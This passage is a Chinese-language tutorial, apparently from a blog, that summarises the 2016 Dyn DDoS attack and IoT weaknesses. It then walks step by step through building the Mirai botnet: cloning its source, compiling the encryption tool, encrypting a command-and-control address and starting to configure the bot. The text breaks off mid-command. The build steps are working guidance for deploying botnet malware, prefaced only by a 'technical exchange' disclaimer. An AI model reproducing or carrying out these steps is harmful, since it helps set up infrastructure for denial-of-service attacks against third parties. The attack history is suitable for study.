首先声明:本教程只用于技术交流,请勿用于非法用途。请严格遵循相关法律法规
2016年10月21日,美国东海岸地区遭受大面积网络瘫痪,其原因为美国域名解析服务提供商Dyn公司当天受到强力的DDoS攻击所致。Dyn公司称此次DDoS攻击涉及千万级别的IP地址(攻击中UDP/DNS攻击源IP几乎皆为伪造IP,因此此数量不代表僵尸数量),其中部分重要的攻击来源于IOT设备,攻击活动从上午7:00(美国东部时间)开始,直到下午1:00才得以缓解,黑客发动了三次大规模攻击,但是第三次攻击被缓解未对网络访问造成明显影响。
造成这种攻击的就是Mirai僵尸网络,它跟其他僵尸网络不同的地方在于它的攻击目标是物联网设备而非传统计算机。物联网设备经常受到攻击的主要原因是其基本核心网络是传统的互联网,但它比传统的互联网结构更为复杂。物联网的感知层由大量的传感器节点组成,这些节点由于自身处理能力有限,缺乏安全功能,用户没有更改默认出厂设置,认证技术较弱,软件更新困难等特点,更容易受到攻击。而且由于物联网设备不会轻易关机,若管理者疏于维护,一旦控制便能长期使用,更容易引起连锁反应,造成严重的社会危害。
由于物联网设备的处理能力有限,Mirai僵尸网络的受控终端不会产生大量的流量,只向攻击目标服务器发送少量数据包。然而,由于僵尸网络的受控终端往往可以达到几十万的量级,同时向某一目标传输少量数据包也会导致其资源的枯竭,从而达到DDoS攻击的效果。
因此本文就从源码下载开始教大家如何在本机搭建一个Mirai僵尸网络。
- Install requirements(安装依赖)
#sudo apt-get install git gcc golang electric-fence mysql-server mysql-client
●记住安装过程中mysql-server的root密码,下面需要用到,本人设置为用户名root,密码123456
2.Download source code(下载源码)
#git clone https://github.com/jgamblin/Mirai-Source-Code
#cd Mirai-Source-Code
3.Compile encrypt-script(编译加密脚本)
#cd mirai/tools && gcc enc.c -o enc.out
4.Encrypt your cnc-domain and report-domain(加密cnc服务器和report服务器)
●本步骤是利用cnc加密主控服务器域名和报告服务器域名,一般是2个服务器,也可以设置成为一个服务器,例如本机IP地址为192.168.1.114,所以将两个服务器域名全部设置成本机IP地址即可。
#./enc.out string 192.168.1.114
5.Configuring bot(配置受控端程序)
●edit file "tables.c"(编辑tables.c文件)
#vi ../bot/tab